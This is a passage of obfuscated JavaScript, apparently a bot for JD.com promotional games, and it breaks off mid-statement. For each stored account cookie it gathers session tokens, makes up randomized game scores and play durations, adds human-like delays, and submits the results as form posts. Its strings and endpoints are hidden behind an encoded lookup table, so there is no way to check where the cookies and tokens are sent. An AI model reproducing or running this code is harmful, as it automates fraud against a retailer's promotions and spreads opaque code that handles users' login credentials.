_0x5d0b17!==_0x3fb5af;},'FCARv':function(_0x40cf5f,_0x15ff9d){return _0x40cf5f!==_0x15ff9d;},'aBVrO':function(_0x31457c,_0x48ef48){return _0x31457c<_0x48ef48;},'FhjbL':function(_0x5b5ad4,_0x4f5be4){return _0x5b5ad4(_0x4f5be4);},'iwdlp':_0x5a8a('1b'),'vcFNM':_0x5a8a('1c'),'kKoKE':function(_0x38ee19,_0x1cf568){return _0x38ee19+_0x1cf568;},'AlIEz':function(_0x4673d7){return _0x4673d7();},'HHmly':_0x5a8a('1d')};if(_0x4a3b0d[_0x5a8a('1e')](guaDDGametype,_0x4a3b0d[_0x5a8a('1f')])&&_0x4a3b0d[_0x5a8a('20')](guaDDGametype,'')&&(_0x4a3b0d[_0x5a8a('21')](guaDDGametype[_0x5a8a('22')](','),0x1)&&_0x4a3b0d[_0x5a8a('23')](_0x4a3b0d[_0x5a8a('24')](Number,guaDDGametype)||0x0,0x1))){return;}if(!cookiesArr[0x0]){$[_0x5a8a('25')]($[_0x5a8a('26')],_0x4a3b0d[_0x5a8a('27')],_0x4a3b0d[_0x5a8a('28')],{'open-url':_0x4a3b0d[_0x5a8a('28')]});return;}for(let _0x3b738d=0x0;_0x4a3b0d[_0x5a8a('23')](_0x3b738d,cookiesArr[_0x5a8a('29')]);_0x3b738d++){cookie=cookiesArr[_0x3b738d];if(cookie){$[_0x5a8a('2a')]=_0x4a3b0d[_0x5a8a('24')](decodeURIComponent,cookie[_0x5a8a('2b')](/pt_pin=([^; ]+)(?=;?)/)&&cookie[_0x5a8a('2b')](/pt_pin=([^; ]+)(?=;?)/)[0x1]);$[_0x5a8a('2c')]=_0x4a3b0d[_0x5a8a('2d')](_0x3b738d,0x1);message='';$[_0x5a8a('2e')]=0x0;$[_0x5a8a('11')]=![];await _0x4a3b0d[_0x5a8a('2f')](getUA);$[_0x5a8a('30')]='';console[_0x5a8a('8')](_0x5a8a('31')+$[_0x5a8a('2c')]+'】'+($[_0x5a8a('30')]||$[_0x5a8a('2a')])+_0x5a8a('32'));await _0x4a3b0d[_0x5a8a('2f')](run);if($[_0x5a8a('12')])break;}}if($[_0x5a8a('12')]){let _0x45ad6b=_0x4a3b0d[_0x5a8a('33')];$[_0x5a8a('25')]($[_0x5a8a('26')],'',''+_0x45ad6b);if($[_0x5a8a('1')]())await notify[_0x5a8a('34')](''+$[_0x5a8a('26')],''+_0x45ad6b);}})()[_0x5a8a('35')](_0x5e1cf9=>$[_0x5a8a('36')](_0x5e1cf9))[_0x5a8a('37')](()=>$[_0x5a8a('38')]());async function run(){var _0x2f3332={'uKJJC':function(_0x2201ce,_0x30d703){return _0x2201ce!=_0x30d703;},'NrNdL':_0x5a8a('1a'),'VHkYp':function(_0x445656,_0x246b9e){return _0x445656!==_0x246b9e;},'egIzC':function(_0x29832b,_0x2dbf44){return _0x29832b+_0x2dbf44;},'BJtpN':function(_0x2956b6,_0x29e0c4){return _0x2956b6+_0x29e0c4;},'Swcbo':function(_0x19046b,_0x21cc61){return _0x19046b(_0x21cc61);},'jPvKS':function(_0x1258c1,_0x579c6f){return _0x1258c1(_0x579c6f);},'aMHEM':function(_0x42110a){return _0x42110a();},'pTvRn':function(_0x997085,_0xcb9ff1){return _0x997085==_0xcb9ff1;},'hisPr':function(_0x5879de,_0xf12a95){return _0x5879de!==_0xf12a95;},'MaULS':_0x5a8a('39'),'yUyns':_0x5a8a('3a'),'yUjzs':function(_0x5b0a8f,_0x3f4741){return _0x5b0a8f==_0x3f4741;},'VduUs':_0x5a8a('3b'),'ehVyE':_0x5a8a('3c'),'epIrh':function(_0xc63c6b,_0x36f6d9){return _0xc63c6b==_0x36f6d9;},'KnrQD':_0x5a8a('3d'),'YQdGu':_0x5a8a('3e'),'kCscT':_0x5a8a('3f'),'SXlPM':function(_0x243605,_0x40ecca){return _0x243605(_0x40ecca);},'DYYBx':_0x5a8a('40'),'URsYN':_0x5a8a('41'),'YVpLM':function(_0x304bc5,_0x388ae4){return _0x304bc5+_0x388ae4;},'NvRjM':function(_0x55d226,_0x55550c){return _0x55d226*_0x55550c;},'bggCB':function(_0x3b3aae,_0x295938){return _0x3b3aae/_0x295938;},'aNfeT':function(_0x18d4da,_0x4047f,_0x3f768b){return _0x18d4da(_0x4047f,_0x3f768b);},'UHOww':function(_0x1d0bd6,_0x232542){return _0x1d0bd6+_0x232542;},'pUomu':function(_0x4d9a2f,_0x480347){return _0x4d9a2f-_0x480347;},'ghwJs':function(_0x327e53,_0x5c6596,_0x503fcb){return _0x327e53(_0x5c6596,_0x503fcb);},'ARUoh':function(_0x59c046,_0x4ef699){return _0x59c046*_0x4ef699;},'wcLVt':function(_0x588552,_0x1ebdc1){return _0x588552/_0x1ebdc1;},'vPRQf':function(_0x2593d3,_0xa47d8f){return _0x2593d3*_0xa47d8f;},'kDoNA':function(_0xc74365,_0x148632){return _0xc74365<_0x148632;},'GuOtT':_0x5a8a('42'),'TuGax':function(_0xf30824,_0x19247f){return _0xf30824+_0x19247f;},'OGpLl':function(_0x11ef05,_0x5024d4){return _0x11ef05+_0x5024d4;},'FmqmT':function(_0x125e60,_0x39ec35){return _0x125e60(_0x39ec35);},'xeMkV':_0x5a8a('43'),'bnGFz':function(_0x1c1762,_0x32243c,_0x1ac290){return _0x1c1762(_0x32243c,_0x1ac290);},'QbXrj':function(_0x34a17c,_0x3a138e){return _0x34a17c+_0x3a138e;},'ZXkod':function(_0xcf360,_0x308dbd){return _0xcf360*_0x308dbd;},'KQSbb':function(_0x30bc39,_0x376941){return _0x30bc39===_0x376941;},'ALnvS':_0x5a8a('44')};try{for(let _0x4210ad of $[_0x5a8a('14')]){$[_0x5a8a('45')]=_0x4210ad;$[_0x5a8a('46')]=$[_0x5a8a('45')][_0x5a8a('46')];if(_0x2f3332[_0x5a8a('47')](guaDDGametype,_0x2f3332[_0x5a8a('48')])&&_0x2f3332[_0x5a8a('49')](guaDDGametype,'')){let _0x5689dd=guaDDGametype[_0x5a8a('4a')](',');if(!_0x5689dd[_0x5a8a('4b')](_0x2f3332[_0x5a8a('4c')](_0x2f3332[_0x5a8a('4d')](_0x2f3332[_0x5a8a('4e')](Number,$[_0x5a8a('46')])||0x0,0x1),'')))continue;}console[_0x5a8a('8')](_0x5a8a('4f')+_0x2f3332[_0x5a8a('4d')](_0x2f3332[_0x5a8a('50')](Number,$[_0x5a8a('46')])||0x0,0x1)+'款['+$[_0x5a8a('45')][_0x5a8a('26')]+_0x5a8a('51'));$[_0x5a8a('52')]='';$[_0x5a8a('53')]='';$[_0x5a8a('54')]=!![];lz_jdpin_token_cookie='';await _0x2f3332[_0x5a8a('55')](getCk);if(_0x2f3332[_0x5a8a('56')](activityCookie,'')){if(_0x2f3332[_0x5a8a('57')](_0x2f3332[_0x5a8a('58')],_0x2f3332[_0x5a8a('58')])){return JSON[_0x5a8a('59')](str);}else{console[_0x5a8a('8')](_0x5a8a('5a'));return;}}await _0x2f3332[_0x5a8a('50')](takePostRequest,_0x2f3332[_0x5a8a('5b')]);if(_0x2f3332[_0x5a8a('5c')]($[_0x5a8a('52')],'')){console[_0x5a8a('8')](_0x2f3332[_0x5a8a('5d')]);return;}await _0x2f3332[_0x5a8a('50')](takePostRequest,_0x2f3332[_0x5a8a('5e')]);if(_0x2f3332[_0x5a8a('5f')]($[_0x5a8a('53')],'')){console[_0x5a8a('8')](_0x2f3332[_0x5a8a('5d')]);return;}await _0x2f3332[_0x5a8a('50')](takePostRequest,_0x2f3332[_0x5a8a('60')]);await _0x2f3332[_0x5a8a('55')](getIndex);$[_0x5a8a('61')]=_0x2f3332[_0x5a8a('62')];await _0x2f3332[_0x5a8a('50')](takePostRequest,_0x2f3332[_0x5a8a('63')]);await _0x2f3332[_0x5a8a('64')](takePostRequest,_0x2f3332[_0x5a8a('65')]);if($[_0x5a8a('54')]){console[_0x5a8a('8')](_0x2f3332[_0x5a8a('66')]);return;}let _0x27c516=0x0;$[_0x5a8a('67')]=0x0;_0x27c516=_0x2f3332[_0x5a8a('68')](Math[_0x5a8a('69')](_0x2f3332[_0x5a8a('6a')](Math[_0x5a8a('6b')](),0x3)),Math[_0x5a8a('69')](_0x2f3332[_0x5a8a('6c')]($[_0x5a8a('45')][_0x5a8a('6d')],0x5)));$[_0x5a8a('67')]=_0x2f3332[_0x5a8a('6e')](parseInt,_0x2f3332[_0x5a8a('6f')](Math[_0x5a8a('69')](_0x2f3332[_0x5a8a('6a')](Math[_0x5a8a('6b')](),_0x2f3332[_0x5a8a('70')]($[_0x5a8a('45')][_0x5a8a('71')],$[_0x5a8a('45')][_0x5a8a('72')]))),$[_0x5a8a('45')][_0x5a8a('72')]),0xa);switch($[_0x5a8a('45')][_0x5a8a('46')]){case 0x1:_0x27c516=_0x2f3332[_0x5a8a('6f')](Math[_0x5a8a('69')](_0x2f3332[_0x5a8a('6a')](Math[_0x5a8a('6b')](),0x6)),Math[_0x5a8a('69')](_0x2f3332[_0x5a8a('6c')]($[_0x5a8a('45')][_0x5a8a('6d')],0x5)));break;case 0x2:case 0x3:$[_0x5a8a('67')]=_0x2f3332[_0x5a8a('73')](parseInt,_0x2f3332[_0x5a8a('6f')](_0x2f3332[_0x5a8a('74')](Math[_0x5a8a('69')](_0x2f3332[_0x5a8a('75')](_0x2f3332[_0x5a8a('76')](Math[_0x5a8a('6b')](),_0x2f3332[_0x5a8a('70')]($[_0x5a8a('45')][_0x5a8a('71')],$[_0x5a8a('45')][_0x5a8a('72')])),0xa)),0xa),$[_0x5a8a('45')][_0x5a8a('72')]),0xa);break;default:break;}for(let _0x407320=0x0;_0x2f3332[_0x5a8a('77')](_0x407320,0x1);_0x407320++){console[_0x5a8a('8')](_0x2f3332[_0x5a8a('78')]);for(j=0x1;_0x27c516--&&!![];j++){console[_0x5a8a('8')](_0x5a8a('79')+j+'/'+_0x2f3332[_0x5a8a('7a')](_0x27c516,j)+'次');await $[_0x5a8a('7b')](0x1388);await $[_0x5a8a('7b')](_0x2f3332[_0x5a8a('73')](parseInt,_0x2f3332[_0x5a8a('7c')](_0x2f3332[_0x5a8a('76')](Math[_0x5a8a('6b')](),0x7d0),0x3e8),0xa));}await _0x2f3332[_0x5a8a('7d')](takePostRequest,_0x2f3332[_0x5a8a('7e')]);}await $[_0x5a8a('7b')](_0x2f3332[_0x5a8a('7f')](parseInt,_0x2f3332[_0x5a8a('80')](_0x2f3332[_0x5a8a('81')](Math[_0x5a8a('6b')](),0x1388),0x2710),0xa));}}catch(_0x5900ed){if(_0x2f3332[_0x5a8a('82')](_0x2f3332[_0x5a8a('83')],_0x2f3332[_0x5a8a('83')])){console[_0x5a8a('8')](_0x5900ed);}else{$[_0x5a8a('11')]=!![];}}}async function takePostRequest(_0x1a2c7d){var _0x32b3e2={'hHkrU':function(_0x39ba47){return _0x39ba47();},'QBGvj':function(_0x1fc8a5,_0x44f279){return _0x1fc8a5>_0x44f279;},'pRywT':_0x5a8a('84'),'yPrxO':function(_0x29b232,_0x50244a){return _0x29b232+_0x50244a;},'QDCas':_0x5a8a('85'),'VUmSx':_0x5a8a('86'),'ARGEj':function(_0x29eea3,_0x242e27){return _0x29eea3===_0x242e27;},'huffV':_0x5a8a('87'),'xAGUW':function(_0x176cab,_0x56595d){return _0x176cab(_0x56595d);},'qBmhJ':function(_0x581a33,_0x175413){return _0x581a33==_0x175413;},'KjiOC':_0x5a8a('88'),'FUPJZ':function(_0x127f14,_0x1b7910){return _0x127f14===_0x1b7910;},'cpNht':_0x5a8a('89'),'khIpB':function(_0x305171,_0x413951,_0x46a6f1){return _0x305171(_0x413951,_0x46a6f1);},'vRYOt':function(_0x2a7384,_0x333c7f){return _0x2a7384!==_0x333c7f;},'jHVYT':_0x5a8a('8a'),'NRmLJ':_0x5a8a('8b'),'YDEmU':_0x5a8a('8c'),'mMsnk':_0x5a8a('8d'),'lfcXP':_0x5a8a('8e'),'ByKWQ':_0x5a8a('8f'),'mVRaf':_0x5a8a('3a'),'wopfJ':_0x5a8a('3c'),'RexnO':_0x5a8a('90'),'CmWDp':_0x5a8a('91'),'VCTuN':_0x5a8a('3d'),'qTZqZ':_0x5a8a('3f'),'IjRTV':function(_0x415ab3,_0x135b1d){return _0x415ab3(_0x135b1d);},'UUunp':_0x5a8a('40'),'beZgh':function(_0x21f67d,_0x65057d){return _0x21f67d(_0x65057d);},'lihlh':_0x5a8a('92'),'IhiVO':_0x5a8a('93'),'MRdGA':function(_0x1b2faf,_0x56714f){return _0x1b2faf(_0x56714f);},'sQKTE':_0x5a8a('43'),'cRHfS':_0x5a8a('94'),'edpat':_0x5a8a('95'),'AXeOv':_0x5a8a('96'),'vJZWV':_0x5a8a('97'),'dDAtS':_0x5a8a('98'),'jiXqK':_0x5a8a('99'),'fZpjV':function(_0x2d1787,_0xf2ba75,_0x50ef33,_0x544243){return _0x2d1787(_0xf2ba75,_0x50ef33,_0x544243);}};if($[_0x5a8a('11')])return;let _0x3c47d0='';let _0x1aafa3='';let _0x339637=_0x32b3e2[_0x5a8a('9a')];switch(_0x1a2c7d){case _0x32b3e2[_0x5a8a('9b')]:_0x3c47d0=_0x5a8a('9c');_0x1aafa3=_0x5a8a('9d');break;case _0x32b3e2[_0x5a8a('9e')]:_0x3c47d0=_0x5a8a('9f');_0x1aafa3=_0x5a8a('a0')+$[_0x5a8a('52')]+_0x5a8a('a1');break;case _0x32b3e2[_0x5a8a('a2')]:_0x3c47d0=_0x5a8a('a3');_0x1aafa3=_0x5a8a('a4');break;case _0x32b3e2[_0x5a8a('a5')]:_0x3c47d0=_0x5a8a('a6');_0x1aafa3=_0x5a8a('a4');break;case _0x32b3e2[_0x5a8a('a7')]:_0x3c47d0=_0x5a8a('a8');let _0x4e52bf=_0x5a8a('a9')+$[_0x5a8a('46')];_0x1aafa3=_0x5a8a('aa')+_0x32b3e2[_0x5a8a('ab')](encodeURIComponent,$[_0x5a8a('53')])+_0x5a8a('ac')+_0x32b3e2[_0x5a8a('ab')](encodeURIComponent,_0x4e52bf)+_0x5a8a('ad')+$[_0x5a8a('46')];break;case _0x32b3e2[_0x5a8a('ae')]:_0x3c47d0=_0x5a8a('af');_0x1aafa3=_0x5a8a('b0')+_0x32b3e2[_0x5a8a('b1')](encodeURIComponent,$[_0x5a8a('53')]);break;case _0x32b3e2[_0x5a8a('b2')]:_0x3c47d0=_0x5a8a('b3');_0x1aafa3=_0x5a8a('b4')+_0x32b3e2[_0x5a8a('b1')](encodeURIComponent,$[_0x5a8a('53')])+_0x5a8a('b5')+_0x32b3e2[_0x5a8a('b1')](encodeURIComponent,$[_0x5a8a('61')])+_0x5a8a('b6')+_0x32b3e2[_0x5a8a('b7')](encodeURIComponent,$[_0x5a8a('b8')])+_0x5a8a('b9')+$[_0x5a8a('46')];break;case _0x32b3e2[_0x5a8a('ba')]:_0x3c47d0=_0x5a8a('bb');_0x1aafa3=_0x5a8a('a4');break;case _0x32b3e2[_0x5a8a('bc')]:_0x3c47d0=_0x5a8a('bd');_0x1aafa3=_0x5a8a('be')+_0x32b3e2[_0x5a8a('bf')](encodeURIComponent,$[_0x5a8a('53')]);break;case _0x32b3e2[_0x5a8a('c0')]:_0x3c47d0=_0x5a8a('c1');var _0x27b619=new FormData();let _0x13ac67=_0x27b619[_0x5a8a('c2')]();_0x27b619[_0x5a8a('c3')](_0x32b3e2[_0x5a8a('c4')],_0x32b3e2[_0x5a8a('c5')]);_0x27b619[_0x5a8a('c3')](_0x32b3e2[_0x5a8a('c6')],$[_0x5a8a('c7')]);_0x27b619[_0x5a8a('c3')](_0x32b3e2[_0x5a8a('c8')],$[_0x5a8a('53')]);_0x27b619[_0x5a8a('c3')](_0x32b3e2[_0x5a8a('c9')],$[_0x5a8a('46')]);_0x27b619[_0x5a8a('c3')](_0x32b3e2[_0x5a8a('ca')],$[_0x5a8a('67')]);_0x1aafa3={'flie':_0x27b619,'boundary':_0x13ac67};break;default:console[_0x5a8a('8')]('错误'+_0x1a2c7d);}let _0x4be30a=_0x32b3e2[_0x5a8a('cb')](getPostRequest,_0x3c47d0,_0x1aafa3,_0x339637);return new Promise(async _0x2f65d2=>{var _0x26c1ed={'qPMmH':function(_0x5770e6){return _0x32b3e2[_0x5a8a('cc')](_0x5770e6);},'goVuQ':function(_0x55d892,_0x3d0f9a){return _0x32b3e2[_0x5a8a('cd')](_0x55d892,_0x3d0f9a);},'IRpdG':_0x32b3e2[_0x5a8a('ce')],'JnjHm':function(_0x4be55c,_0x388644){return _0x32b3e2[_0x5a8a('cf')](_0x4be55c,_0x388644);},'AbCdt':function(_0x2ae185,_0x19766b){return _0x32b3e2[_0x5a8a('cd')](_0x2ae185,_0x19766b);},'qumNE':_0x32b3e2[_0x5a8a('d0')],'OPeDb':_0x32b3e2[_0x5a8a('d1')],'djISi':function(_0x164aa5,_0x38dda7){return _0x32b3e2[_0x5a8a('d2')](_0x164aa5,_0x38dda7);},'VTGKW':_0x32b3e2[_0x5a8a('d3')],'GiqyV':function(_0x55dde9,_0x1e6fbd){return _0x32b3e2[_0x5a8a('ab')](_0x55dde9,_0x1e6fbd);},'LlTcM':function(_0x1d81be,_0x28eb95){return _0x32b3e2[_0x5a8a('d4')](_0x1d81be,_0x28eb95);},'NWRxq':_0x32b3e2[_0x5a8a('d5')],'ptAfA':function(_0x1ea2fd,_0x6e7105){return _0x32b3e2[_0x5a8a('d6')](_0x1ea2fd,_0x6e7105);},'ErnFD':_0x32b3e2[_0x5a8a('d7')],'QoUJr':function(_0x4fea6c,_0x4e4391,_0x21606b){return _0x32b3e2[_0x5a8a('d8')](_0x4fea6c,_0x4e4391,_0x21606b);},'fnAYI':function(_0xb7aecf,_0x3f534c){return _0x32b3e2[_0x5a8a('d9')](_0xb7aecf,_0x3f534c);},'udxXE':_0x32b3e2[_0x5a8a('da')],'VItpJ':function(_0x5829fa,_0x37eea5){return _0x32b3e2[_0x5a8a('d6')](_0x5829fa,_0x37eea5);},'lbySj':_0x32b3e2[_0x5a8a('db')],'RHzeH':_0x32b3e2[_0x5a8a('dc')]};if(_0x32b3e2[_0x5a8a('d9')](_0x32b3e2[_0x5a8a('dd')],_0x32b3e2[_0x5a8a('de')])){$[_0x5a8a('df')](_0x4be30a,(_0x1089a2,_0x5475c0,_0x3b433b)=>{var _0x3ea377={'OnqgF':function(_0x4524ba,_0x232981){return _0x26c1ed[_0x5a8a('e0')](_0x4524ba,_0x232981);},'ucrui':_0x26c1ed[_0x5a8a('e1')],'PRoau':function(_0x1e0887,_0xeb1873){return _0x26c1ed[_0x5a8a('e2')](_0x1e0887,_0xeb1873);},'moXQR':function(_0x58de7c,_0x2b3afb){return _0x26c1ed[_0x5a8a('e3')](_0x58de7c,_0x2b3afb);},'bEPWK':_0x26c1ed[_0x5a8a('e4')],'jcpQG':function(_0x19857b,_0x15ad8d){return _0x26c1ed[_0x5a8a('e3')](_0x19857b,_0x15ad8d);},'KbcAN':_0x26c1ed[_0x5a8a('e5')]};if(_0x26c1ed[_0x5a8a('e6')](_0x26c1ed[_0x5a8a('e7')],_0x26c1ed[_0x5a8a('e7')])){try{_0x26c1ed[_0x5a8a('e8')](setActivityCookie,_0x5475c0);if(_0x1089a2){if(_0x5475c0&&_0x5475c0[_0x5a8a('e9')]&&_0x26c1ed[_0x5a8a('ea')](_0x5475c0[_0x5a8a('e9')],0x1ed)){console[_0x5a8a('8')](_0x26c1ed[_0x5a8a('eb')]);$[_0x5a8a('12')]=!![];}console[_0x5a8a('8')](''+$[_0x5a8a('ec')](_0x1089a2,_0x1089a2));console[_0x5a8a('8')](_0x1a2c7d+_0x5a8a('ed'));}else{if(_0x26c1ed[_0x5a8a('ee')](_0x26c1ed[_0x5a8a('ef')],_0x26c1ed[_0x5a8a('ef')])){_0x26c1ed[_0x5a8a('f0')](dealReturn,_0x1a2c7d,_0x3b433b);}else{let _0xa00791=ck[_0x5a8a('4a')](';')[0x0][_0x5a8a('f1')]();if(_0xa00791[_0x5a8a('4a')]('=')[0x1]){if(_0x3ea377[_0x5a8a('f2')](_0xa00791[_0x5a8a('22')](_0x3ea377[_0x5a8a('f3')]),-0x1))LZ_TOKEN_KEY=_0x3ea377[_0x5a8a('f4')](_0xa00791[_0x5a8a('f5')](/ /g,''),';');if(_0x3ea377[_0x5a8a('f6')](_0xa00791[_0x5a8a('22')](_0x3ea377[_0x5a8a('f7')]),-0x1))LZ_TOKEN_VALUE=_0x3ea377[_0x5a8a('f4')](_0xa00791[_0x5a8a('f5')](/ /g,''),';');if(_0x3ea377[_0x5a8a('f8')](_0xa00791[_0x5a8a('22')](_0x3ea377[_0x5a8a('f9')]),-0x1))lz_jdpin_token=_0x3ea377[_0x5a8a('f4')](_0x3ea377[_0x5a8a('f4')]('',_0xa00791[_0x5a8a('f5')](/ /g,'')),';');}}}}catch(_0x50f98d){if(_0x26c1ed[_0x5a8a('fa')](_0x26c1ed[_0x5a8a('fb')],_0x26c1ed[_0x5a8a('fb')])){_0x26c1ed[_0x5a8a('fc')](_0x2f65d2);}else{console[_0x5a8a('8')](_0x50f98d,_0x5475c0);}}finally{if(_0x26c1ed[_0x5a8a('fd')](_0x26c1ed[_0x5a8a('fe')],_0x26c1ed[_0x5a8a('fe')])){_0x26c1ed[_0x5a8a('fc')](_0x2f65d2);}else{console[_0x5a8a('8')](_0x1a2c7d+'\x20'+(res[_0x5a8a('ff')]||''));}}}else{console[_0x5a8a('8')](_0x3b433b);}});}else{console[_0x5a8a('8')](e);$[_0x5a8a('25')]($[_0x5a8a('26')],'',_0x26c1ed[_0x5a8a('100')]);return[];}});}async function dealReturn(_0x225544,_0x172f94){var _0x5c8ca5={'CQlBh':function(_0x34b607,_0x2215b4){return _0x34b607||_0x2215b4;},'QmTDq':_0x5a8a('101'),'FugSj':function(_0x47827f,_0x14df6b){return _0x47827f<_0x14df6b;},'SeOed':function(_0x1ce5af,_0x20b2e6){return _0x1ce5af*_0x20b2e6;},'bBGLr':function(_0x2a9bec,_0x160b0a){return _0x2a9bec==_0x160b0a;},'GmnfZ':_0x5a8a('88'),'msVNG':function(_0x3969ea,_0x5137a8){return _0x3969ea!=_0x5137a8;},'JFKjr':_0x5a8a('102'),'lZmrl':_0x5a8a('a'),'JYVSZ':_0x5a8a('b'),'ihpSu':function(_0xfcc3c2,_0x44b2a6){return _0xfcc3c2(_0x44b2a6);},'pHRyu':_0x5a8a('c'),'PKgeL':_0x5a8a('103'),'raoNc':_0x5a8a('104'),'EreJp':_0x5a8a('105'),'WdQSU':function(_0x3766a,_0x1c9ed2){return _0x3766a!=_0x1c9ed2;},'KxTRX':_0x5a8a('3d'),'aifZf':function(_0x18d755,_0x211a10){return _0x18d755===_0x211a10;},'WRjBA':_0x5a8a('106'),'pRWCf':_0x5a8a('3a'),'YQpzA':_0x5a8a('107'),'rhZYH':function(_0x39fc6f,_0x1af8ae){return _0x39fc6f!=_0x1af8ae;},'UNcFW':function(_0x3276dd,_0x494d34){return _0x3276dd===_0x494d34;},'ZXuCp':_0x5a8a('108'),'jiRJR':_0x5a8a('109'),'XxABX':_0x5a8a('90'),'trOKz':_0x5a8a('3c'),'kmwJO':function(_0x4cbc31,_0x430003){return _0x4cbc31!=_0x430003;},'AXdVD':function(_0x3c11a9,_0x4df69f){return _0x3c11a9==_0x4df69f;},'TbhyL':_0x5a8a('3f'),'yAoHX':function(_0x1a0043,_0x1ae3f8){return _0x1a0043==_0x1ae3f8;},'Dahzh':function(_0x2a9dc1,_0x2a0c02){return _0x2a9dc1===_0x2a0c02;},'Mmvap':function(_0x4f5f47,_0x2e6f53){return _0x4f5f47!=_0x2e6f53;},'ULEhL':_0x5a8a('3e'),'axqEq':function(_0x569479,_0x38bac2){return _0x569479==_0x38bac2;},'pMiOh':function(_0xe09a32,_0x34d3e1){return _0xe09a32!==_0x34d3e1;},'IVZsv':_0x5a8a('10a'),'HLGRP':_0x5a8a('40'),'tuDzd':function(_0x33b265,_0x39406c){return _0x33b265==_0x39406c;},'bpOjo':function(_0x3cc29e,_0x59f963){return _0x3cc29e===_0x59f963;},'oulsf':function(_0x2d2d73,_0x4dbef3){return _0x2d2d73!=_0x4dbef3;},'BJAgS':function(_0x4a7106,_0x2082e1){return _0x4a7106!=_0x2082e1;},'FOmqt':function(_0x36015b,_0x275151){return _0x36015b==_0x275151;},'aAbLL':_0x5a8a('10b'),'FvXAI':_0x5a8a('10c'),'qYbxA':_0x5a8a('10d'),'oTPvi':_0x5a8a('10e'),'MDJuO':_0x5a8a('43'),'ctAPZ':function(_0x53170c,_0xf9cb4a){return _0x53170c===_0xf9cb4a;},'omKFL':_0x5a8a('10f'),'GRWml':_0x5a8a('110'),'ARhLI':function(_0x5723dc,_0x405106){return _0x5723dc===_0x405106;},'BQMfz':_0x5a8a('111'),'kdLVO':_0x5a8a('112'),'HdAPB':function(_0x3a2edf,_0x215a9b){return _0x3a2edf+_0x215a9b;},'KSKrf':_0x5a8a('92'),'oOmCl':_0x5a8a('93'),'LPQUm':_0x5a8a('91'),'uybIv':function(_0x5a4c8a,_0x502a74){return _0x5a4c8a==_0x502a74;},'QJsVb':function(_0x90b9d1,_0x43d5f9){return _0x90b9d1>_0x43d5f9;}};let _0x59cb5d='';try{if(_0x5c8ca5[_0x5a8a('113')](_0x225544,_0x5c8ca5[_0x5a8a('114')])){_0x59cb5d=JSON[_0x5a8a('59')](_0x172f94);}}catch(_0x1f128f){if(_0x5c8ca5[_0x5a8a('115')](_0x5c8ca5[_0x5a8a('116')],_0x5c8ca5[_0x5a8a('116')])){console[_0x5a8a('8')](_0x225544+_0x5a8a('117'));console[_0x5a8a('8')](_0x172f94);$[_0x5a8a('118')]=![];}else{return;}}switch(_0x225544){case _0x5c8ca5[_0x5a8a('119')]:if(_0x5c8ca5[_0x5a8a('11a')](typeof _0x59cb5d,_0x5c8ca5[_0x5a8a('11b')])&&_0x5c8ca5[_0x5a8a('11a')](_0x59cb5d[_0x5a8a('11c')],0x0)){if(_0x5c8ca5[_0x5a8a('11d')](typeof _0x59cb5d[_0x5a8a('11e')],_0x5c8ca5[_0x5a8a('11f')]))$[_0x5a8a('52')]=_0x59cb5d[_0x5a8a('11e')];}else if(_0x5c8ca5[_0x5a8a('11a')](typeof _0x59cb5d,_0x5c8ca5[_0x5a8a('11b')])&&_0x59cb5d[_0x5a8a('120')]){console[_0x5a8a('8')](_0x5a8a('121')+(_0x59cb5d[_0x5a8a('120')]||''));}else{if(_0x5c8ca5[_0x5a8a('122')](_0x5c8ca5[_0x5a8a('123')],_0x5c8ca5[_0x5a8a('124')])){e=_0x5c8ca5[_0x5a8a('125')](e,0x20);let _0x2ab9b9=_0x5c8ca5[_0x5a8a('126')],_0x3037ed=_0x2ab9b9[_0x5a8a('29')],_0x6c9b28='';for(i=0x0;_0x5c8ca5[_0x5a8a('127')](i,e);i++)_0x6c9b28+=_0x2ab9b9[_0x5a8a('128')](Math[_0x5a8a('69')](_0x5c8ca5[_0x5a8a('129')](Math[_0x5a8a('6b')](),_0x3037ed)));return _0x6c9b28;}else{console[_0x5a8a('8')](_0x172f94);}}break;case _0x5c8ca5[_0x5a8a('12a')]:break;case _0x5c8ca5[_0x5a8a('12b')]:if(_0x5c8ca5[_0x5a8a('11a')](typeof _0x59cb5d,_0x5c8ca5[_0x5a8a('11b')])&&_0x59cb5d[_0x5a8a('12c')]&&_0x5c8ca5[_0x5a8a('122')](_0x59cb5d[_0x5a8a('12c')],!![])){if(_0x59cb5d[_0x5a8a('12d')]&&_0x5c8ca5[_0x5a8a('11d')](typeof _0x59cb5d[_0x5a8a('12d')][_0x5a8a('12e')],_0x5c8ca5[_0x5a8a('11f')]))$[_0x5a8a('53')]=_0x59cb5d[_0x5a8a('12d')][_0x5a8a('12e')];if(_0x59cb5d[_0x5a8a('12d')]&&_0x5c8ca5[_0x5a8a('12f')](typeof _0x59cb5d[_0x5a8a('12d')][_0x5a8a('b8')],_0x5c8ca5[_0x5a8a('11f')]))$[_0x5a8a('b8')]=_0x59cb5d[_0x5a8a('12d')][_0x5a8a('b8')];}else if(_0x5c8ca5[_0x5a8a('130')](typeof _0x59cb5d,_0x5c8ca5[_0x5a8a('11b')])&&_0x59cb5d[_0x5a8a('ff')]){console[_0x5a8a('8')](_0x225544+'\x20'+(_0x59cb5d[_0x5a8a('ff')]||''));}else{console[_0x5a8a('8')](_0x225544+'\x20'+_0x172f94);}break;case _0x5c8ca5[_0x5a8a('131')]:if(_0x5c8ca5[_0x5a8a('132')](typeof _0x59cb5d,_0x5c8ca5[_0x5a8a('11b')])&&_0x59cb5d[_0x5a8a('12c')]&&_0x5c8ca5[_0x5a8a('133')](_0x59cb5d[_0x5a8a('12c')],!![])){if(_0x59cb5d[_0x5a8a('12d')]&&_0x5c8ca5[_0x5a8a('134')](typeof _0x59cb5d[_0x5a8a('12d')][_0x5a8a('135')],_0x5c8ca5[_0x5a8a('11f')]))$[_0x5a8a('61')]=_0x59cb5d[_0x5a8a('12d')][_0x5a8a('135')]||_0x5c8ca5[_0x5a8a('136')];}else if(_0x5c8ca5[_0x5a8a('137')](typeof 